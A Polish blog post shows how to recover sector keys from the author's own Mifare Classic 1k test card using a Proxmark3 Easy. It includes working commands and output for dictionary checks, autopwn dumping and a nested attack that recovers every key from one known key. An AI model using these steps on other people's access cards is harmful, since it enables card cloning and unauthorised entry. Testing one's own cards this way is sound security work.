wtorek, 9 stycznia 2024

Proxmark 3 Easy - Dostęp do zabezpieczonej karty Mifare

W tym poście chciałbym pokazać w jaki sposób uzyskać dostęp do danych zapisanych na kartach Mifare Classic 1k. Wykorzystując do tego celu czytnik Proxmark3 Easy.


Przygotuję kartę testową z wykorzystaniem programu Mifare Classic Tool. 

W celu konfiguracji bitów kontrolnych, można wykorzystać np. takie narzędzie online. (http://calc.gmss.ru/Mifare1k/)

Najpierw zabezpieczę sektor 5 losowym kluczem i zobaczę jak szybko uda mi się odczytać dane z tego sektora. Na karcie wykonałem przywrócenie ustawień fabrycznych. 

Wygenerowałem losowe klucze. Format bloku 3 sektora 5 wygląda następująco:

  1. D6FCF08714DE FF078069 EF63B6EC9877

Do tego wprowadzam jakieś przykładowe dane do sektora 5 blok 0. 

Karta odczytana programem Mifare Classic Tool wygląda po zmianach następująco:


Jak wspomniałem wcześniej jedyną zmianą jest sektor 5. Teraz przejdźmy do Proxmark3. 

Poniżej informacje o wersji sprzętowej oraz charakterystyki anteny czytnika:


Teraz wywołujemy komendę hf search, która wyszuka tagi znajdujące się w polu:


Został znaleziony jeden tag z numerem seryjnym 0038B11F. W przypadku tej karty Peng detection (pseudorandom number generation) jest wyświetlany jako weak. Wobec tego ataki typu darkside lub nested powinny dać sobie z tą kartą radę. W przypadku typu hardened lub hard nie przyniosą one oczekiwanego rezultatu. 

Przy pierwszej próbie odczytu, zostały załadowane domyślne 56 kluczy. Wykorzystałem komendę hf mf chk (test block keys). Wykonuje ona odczytanie danych z sektorów, za pomocą metody BruteForce. Testuje na 56 kluczach zapisanych w pamięci programu:


Atak można też przeprowadzić wykorzystując dane z domyślnych plikach z kluczami:


Jak widać na screenie powyżej nie udało się dopasować poprawnych kluczy do sektora 5. Plik z kluczami nie zawiera domyślnego klucza do sektora, z tego powodu nie udało się uzyskać dostępu do żadnego z sektorów.

Można też oczywiście zdefiniować własne pliki, na których będą przechowywane nasze klucze. 

Ogólnie uważam, że dobrą praktyką jest testowanie przygotowanych przez siebie kart, jeśli mają one posiadać klucze indywidualne, na takich narzędziach. Pozwoli to na zweryfikowanie, czy jakimś cudem klucz, który chcemy wykorzystać, nie jest już ogólnie stosowany. Przez co uzyskanie dostępu do naszej karty, będzie znacznie ułatwione (np. z wykorzystaniem telefonu komórkowego, bez konieczności posiadania bardziej dedykowanego sprzętu). Do tego celu z powodzeniem można wykorzystać program Mifare Classic Tool, który zawiera całkiem pokaźną bazę domyślnych kluczy.

Druga komenda czyli hf mf fchk też dała podobny efekt:


Następnie wykonujemy komendę hf mf autopwn (Automatic key recovery for Mifare Classic). 


Ta komenda pozwoliła nam na wyciągnięcie brakujących kluczy. Po tej operacji zostanie utworzony plik w folderze .../pm3/hf-mf-003BB11F-dump.json, *.bin. W którym zostały zapisane dane jakie znajdują się na karcie. Poniżej część tego pliku.

  1. {
  2.   "Created": "proxmark3",
  3.   "FileType": "mfc v2",
  4.   "Card": {
  5.     "UID": "003BB11F",
  6.     "ATQA": "0400",
  7.     "SAK": "08"
  8.   },
  9.   "blocks": {
  10.     "0": "003BB11F950804006263646566676869",
  11.     "1": "00000000000000000000000000000000",
  12.     "2": "00000000000000000000000000000000",
  13.     "3": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
  14.     "4": "00000000000000000000000000000000",
  15.     "5": "00000000000000000000000000000000",
  16.     "6": "00000000000000000000000000000000",
  17.     "7": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
  18.     "8": "00000000000000000000000000000000",
  19.     "9": "00000000000000000000000000000000",
  20.     "10": "00000000000000000000000000000000",
  21.     "11": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
  22.     "12": "00000000000000000000000000000000",
  23.     "13": "00000000000000000000000000000000",
  24.     "14": "00000000000000000000000000000000",
  25.     "15": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
  26.     "16": "00000000000000000000000000000000",
  27.     "17": "00000000000000000000000000000000",
  28.     "18": "00000000000000000000000000000000",
  29.     "19": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
  30.     "20": "12345678901234567890123456789013",
  31.     "21": "00000000000000000000000000000000",
  32.     "22": "00000000000000000000000000000000",
  33.     "23": "D6FCF08714DEFF078069EF63B6EC9877",
  34.     "24": "00000000000000000000000000000000",
  35.     "25": "00000000000000000000000000000000",
  36.     "26": "00000000000000000000000000000000",
  37.     "27": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
  38.     "28": "00000000000000000000000000000000",
  39.     "29": "00000000000000000000000000000000",
  40.     "30": "00000000000000000000000000000000",
  41.     "31": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
  42.     "32": "00000000000000000000000000000000",
  43.     "33": "00000000000000000000000000000000",
  44.     "34": "00000000000000000000000000000000",
  45.     "35": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
  46.     "36": "00000000000000000000000000000000",
  47.     "37": "00000000000000000000000000000000",
  48.     "38": "00000000000000000000000000000000",
  49.     "39": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
  50.     "40": "00000000000000000000000000000000",
  51.     "41": "00000000000000000000000000000000",
  52.     "42": "00000000000000000000000000000000",
  53.     "43": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
  54.     "44": "00000000000000000000000000000000",
  55.     "45": "00000000000000000000000000000000",
  56.     "46": "00000000000000000000000000000000",
  57.     "47": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
  58.     "48": "00000000000000000000000000000000",
  59.     "49": "00000000000000000000000000000000",
  60.     "50": "00000000000000000000000000000000",
  61.     "51": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
  62.     "52": "00000000000000000000000000000000",
  63.     "53": "00000000000000000000000000000000",
  64.     "54": "00000000000000000000000000000000",
  65.     "55": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
  66.     "56": "00000000000000000000000000000000",
  67.     "57": "00000000000000000000000000000000",
  68.     "58": "00000000000000000000000000000000",
  69.     "59": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
  70.     "60": "00000000000000000000000000000000",
  71.     "61": "00000000000000000000000000000000",
  72.     "62": "00000000000000000000000000000000",
  73.     "63": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF"
  74.   },
  75.   "SectorKeys": {
  76.     "0": {
  77.       "KeyA": "FFFFFFFFFFFF",
  78.       "KeyB": "FFFFFFFFFFFF",
  79.       "AccessConditions": "FF078069",
  80.       "AccessConditionsText": {
  81.         "block0": "read AB; write AB; increment AB; decrement transfer restore AB",
  82.         "block1": "read AB; write AB; increment AB; decrement transfer restore AB",
  83.         "block2": "read AB; write AB; increment AB; decrement transfer restore AB",
  84.         "block3": "write A by A; read/write ACCESS by A; read/write B by A",
  85.         "UserData": "69"
  86.       }
  87.     },
  88.     "1": {
  89.       "KeyA": "FFFFFFFFFFFF",
  90.       "KeyB": "FFFFFFFFFFFF",
  91.       "AccessConditions": "FF078069",
  92.       "AccessConditionsText": {
  93.         "block4": "read AB; write AB; increment AB; decrement transfer restore AB",
  94.         "block5": "read AB; write AB; increment AB; decrement transfer restore AB",
  95.         "block6": "read AB; write AB; increment AB; decrement transfer restore AB",
  96.         "block7": "write A by A; read/write ACCESS by A; read/write B by A",
  97.         "UserData": "69"
  98.       }
  99.     },
  100.     "2": {
  101.       "KeyA": "FFFFFFFFFFFF",
  102.       "KeyB": "FFFFFFFFFFFF",
  103.       "AccessConditions": "FF078069",
  104.       "AccessConditionsText": {
  105.         "block8": "read AB; write AB; increment AB; decrement transfer restore AB",
  106.         "block9": "read AB; write AB; increment AB; decrement transfer restore AB",
  107.         "block10": "read AB; write AB; increment AB; decrement transfer restore AB",
  108.         "block11": "write A by A; read/write ACCESS by A; read/write B by A",
  109.         "UserData": "69"
  110.       }
  111.     },
  112.     "3": {
  113.       "KeyA": "FFFFFFFFFFFF",
  114.       "KeyB": "FFFFFFFFFFFF",
  115.       "AccessConditions": "FF078069",
  116.       "AccessConditionsText": {
  117.         "block12": "read AB; write AB; increment AB; decrement transfer restore AB",
  118.         "block13": "read AB; write AB; increment AB; decrement transfer restore AB",
  119.         "block14": "read AB; write AB; increment AB; decrement transfer restore AB",
  120.         "block15": "write A by A; read/write ACCESS by A; read/write B by A",
  121.         "UserData": "69"
  122.       }
  123.     },
  124.     "4": {
  125.       "KeyA": "FFFFFFFFFFFF",
  126.       "KeyB": "FFFFFFFFFFFF",
  127.       "AccessConditions": "FF078069",
  128.       "AccessConditionsText": {
  129.         "block16": "read AB; write AB; increment AB; decrement transfer restore AB",
  130.         "block17": "read AB; write AB; increment AB; decrement transfer restore AB",
  131.         "block18": "read AB; write AB; increment AB; decrement transfer restore AB",
  132.         "block19": "write A by A; read/write ACCESS by A; read/write B by A",
  133.         "UserData": "69"
  134.       }
  135.     },
  136.     "5": {
  137.       "KeyA": "D6FCF08714DE",
  138.       "KeyB": "EF63B6EC9877",
  139.       "AccessConditions": "FF078069",
  140.       "AccessConditionsText": {
  141.         "block20": "read AB; write AB; increment AB; decrement transfer restore AB",
  142.         "block21": "read AB; write AB; increment AB; decrement transfer restore AB",
  143.         "block22": "read AB; write AB; increment AB; decrement transfer restore AB",
  144.         "block23": "write A by A; read/write ACCESS by A; read/write B by A",
  145.         "UserData": "69"
  146.       }
  147.     },

Jak widać powyżej dane z wszystkich sektorów zostały odczytane. Razem z danymi dotyczącymi zabezpieczonego sektora 5. Całość zajęła poniżej 1 minuty i nie wymagała specjalnie dużo wysiłku.

Teraz spróbuję zabezpieczyć każdy sektor jaki jest dostępny na karcie losowym kluczem. Każdy sektor ma wprowadzony indywidualny klucz. Podobnie jak poprzednio wykorzystam do tego celu program Mifare Classic Tool.

Poniżej lista zastosowanych kluczy dla każdego sektora karty Mifare Classic 1k. 

  1. 00 - DA99871DC5E4 7BC6E7BFE085
  2. 01 - 94F906BEF571 4ECD92B8C45D
  3. 02 - DD523D494104 9F893FA140C4
  4. 03 - 27C844CD770C 1BF96012B2A3
  5. 04 - 44CD1CA09AB5 C8AE2B84F86F
  6. 05 - 77715642F5A5 C9125E6EE40B
  7. 06 - A5736B7EFE59 E2C3C6E8D31E
  8. 07 - F4D48B525BDA CD4220FA191A
  9. 08 - 8C02CD5E7E05 6664BE32FD1A
  10. 09 - A89581FE05F7 674C25691451
  11. 10 - A5474F99C4AE B407BDD1B160
  12. 11 - 042DDB3277B5 C87A09035983
  13. 12 - 13E76046FC18 997B77CEE136
  14. 13 - FEF7587DE5EE 50687863A3B9
  15. 14 - 34B537834116 35AFC49A5EAB
  16. 15 - 2967C9FD23B3 F89E24602439

Poniżej screen z przygotowanej karty. 


Teraz przejdę przez komendy zastosowane wcześniej.

Wyszukanie karty:


hf mf chk:


hf mf chk -a --tblk 0 -f mfc_default_keys.dic:


hf mf fchk:


hf mf autopwn:


Jak widać nie udało się uzyskać nawet jednego klucza do sektora.

Jeśli byśmy chcieli wykorzystać tzw. Nasted Attack, którego struktura komendy wygląda następująco:

  1. hf mf nested --1k --blk 0 -a -k FFFFFFFFFFFF

gdzie:
--1k - rodzaj pamięci karty
--blk - numer bloku
-a - rodzaj klucza a lub b.
-k - klucz do sektora

to należy znać klucz dostępu do jednego z sektorów.

Mifare darkside attack wykonany z urządzenia proxmark3 też nie przynosi żadnych rezultatów. 

Oczywiście nie oznacza to, że karta jest teraz bezpieczna. Takie zabezpieczenie pozwoli maksymalnie utrudnić uzyskanie do niej dostępu. Jedną z metod jest np. Brute Force, czyli testowanie wszystkich możliwych kluczy, niestety ten atak jest dosyć czasochłonny i wymaga trochę szczęścia. Innym sposobem jest wykorzystanie metody sniff, czyli umieszczamy czytnik proxmark pomiędzy kartą a czytnikiem i podpatrzenia komunikacji między nimi. Wymaga to oczywiście posiadania czytnika, która będzie znał klucze dostępu do sektora/sektrów na karcie. 

Teraz spróbuje wykorzystać Nested Attack, podając do aplikacji klucz do sektora 0. 

  1. hf mf nested --1k --blk 0 -a -k DA99871DC5E4

Teraz wynik jest zupełnie inny:

  1. [usb] pm3 --> hf mf nested --1k --blk 0 -a -k DA99871DC5E4
  2. [+] Testing known keys. Sector count 16
  3. [=] ....
  4. [=] Chunk 9.6s | found 2/32 keys (57)
  5. [+] Time to check 56 known keys: 10 seconds
  6.  
  7. [+] enter nested key recovery
  8. [+] Found 2 key candidates
  9. [-]     0/2 keys |  11.2 keys/sec | worst case    0.2 seconds remaining
  10. [+] Target block    4 key type A
  11.  
  12. [+] Found 1 key candidates
  13.  
  14. [+] Target block    4 key type A -- found valid key [ 94F906BEF571 ]
  15.  
  16. [=] Chunk 0.5s | found 2/32 keys (1)
  17. [+] Found 1 key candidates
  18.  
  19. [+] Target block    8 key type A -- found valid key [ DD523D494104 ]
  20.  
  21. [=] Chunk 0.5s | found 2/32 keys (1)
  22. [+] Found 1 key candidates
  23.  
  24. [+] Target block   12 key type A -- found valid key [ 27C844CD770C ]
  25.  
  26. [=] Chunk 0.5s | found 2/32 keys (1)
  27. [+] Found 1 key candidates
  28.  
  29. [+] Target block   16 key type A -- found valid key [ 44CD1CA09AB5 ]
  30.  
  31. [=] Chunk 0.5s | found 2/32 keys (1)
  32. [+] Found 1 key candidates
  33.  
  34. [+] Target block   20 key type A -- found valid key [ 77715642F5A5 ]
  35.  
  36. [=] Chunk 0.5s | found 2/32 keys (1)
  37. [+] Found 1 key candidates
  38.  
  39. [+] Target block   24 key type A -- found valid key [ A5736B7EFE59 ]
  40.  
  41. [=] Chunk 0.5s | found 2/32 keys (1)
  42. [+] Found 1 key candidates
  43.  
  44. [+] Target block   28 key type A -- found valid key [ F4D48B525BDA ]
  45.  
  46. [=] Chunk 0.5s | found 2/32 keys (1)
  47. [+] Found 1 key candidates
  48.  
  49. [+] Target block   32 key type A -- found valid key [ 8C02CD5E7E05 ]
  50.  
  51. [=] Chunk 0.5s | found 2/32 keys (1)
  52. [+] Found 3 key candidates
  53. [\]     0/3 keys |  18.2 keys/sec | worst case    0.2 seconds remaining
  54. [+] Target block   36 key type A
  55.  
  56. [+] Found 1 key candidates
  57.  
  58. [+] Target block   36 key type A -- found valid key [ A89581FE05F7 ]
  59.  
  60. [=] Chunk 0.5s | found 2/32 keys (1)
  61. [+] Found 1 key candidates
  62.  
  63. [+] Target block   40 key type A -- found valid key [ A5474F99C4AE ]
  64.  
  65. [=] Chunk 0.5s | found 2/32 keys (1)
  66. [+] Found 1 key candidates
  67.  
  68. [+] Target block   44 key type A -- found valid key [ 042DDB3277B5 ]
  69.  
  70. [=] Chunk 0.5s | found 2/32 keys (1)
  71. [+] Found 1 key candidates
  72.  
  73. [+] Target block   48 key type A -- found valid key [ 13E76046FC18 ]
  74.  
  75. [=] Chunk 0.5s | found 2/32 keys (1)
  76. [+] Found 1 key candidates
  77.  
  78. [+] Target block   52 key type A -- found valid key [ FEF7587DE5EE ]
  79.  
  80. [=] Chunk 0.5s | found 2/32 keys (1)
  81. [+] Found 1 key candidates
  82.  
  83. [+] Target block   56 key type A -- found valid key [ 34B537834116 ]
  84.  
  85. [=] Chunk 0.5s | found 2/32 keys (1)
  86. [+] Found 1 key candidates
  87.  
  88. [+] Target block   60 key type A -- found valid key [ 2967C9FD23B3 ]
  89.  
  90. [=] Chunk 0.5s | found 2/32 keys (1)
  91. [+] time in nested 27 seconds
  92.  
  93. [=] trying to read key B...
  94.  
  95. [+] found keys:
  96.  
  97. [+] -----+-----+--------------+---+--------------+----
  98. [+]  Sec | Blk | key A        |res| key B        |res
  99. [+] -----+-----+--------------+---+--------------+----
  100. [+]  000 | 003 | DA99871DC5E4 | 1 | 7BC6E7BFE085 | 1
  101. [+]  001 | 007 | 94F906BEF571 | 1 | 4ECD92B8C45D | 1
  102. [+]  002 | 011 | DD523D494104 | 1 | 9F893FA140C4 | 1
  103. [+]  003 | 015 | 27C844CD770C | 1 | 1BF96012B2A3 | 1
  104. [+]  004 | 019 | 44CD1CA09AB5 | 1 | C8AE2B84F86F | 1
  105. [+]  005 | 023 | 77715642F5A5 | 1 | C9125E6EE40B | 1
  106. [+]  006 | 027 | A5736B7EFE59 | 1 | E2C3C6E8D31E | 1
  107. [+]  007 | 031 | F4D48B525BDA | 1 | CD4220FA191A | 1
  108. [+]  008 | 035 | 8C02CD5E7E05 | 1 | 6664BE32FD1A | 1
  109. [+]  009 | 039 | A89581FE05F7 | 1 | 674C25691451 | 1
  110. [+]  010 | 043 | A5474F99C4AE | 1 | B407BDD1B160 | 1
  111. [+]  011 | 047 | 042DDB3277B5 | 1 | C87A09035983 | 1
  112. [+]  012 | 051 | 13E76046FC18 | 1 | 997B77CEE136 | 1
  113. [+]  013 | 055 | FEF7587DE5EE | 1 | 50687863A3B9 | 1
  114. [+]  014 | 059 | 34B537834116 | 1 | 35AFC49A5EAB | 1
  115. [+]  015 | 063 | 2967C9FD23B3 | 1 | F89E24602439 | 1
  116. [+] -----+-----+--------------+---+--------------+----
  117. [+] ( 0:Failed / 1:Success )

Do komendy autopwn także można podać klucz do jednego z sektorów. Efekt będzie taki sam jak w przypadku komendy powyżej.

Jak widać, znając tylko jeden klucz do sektora, udało się uzyskać dostęp do całej karty.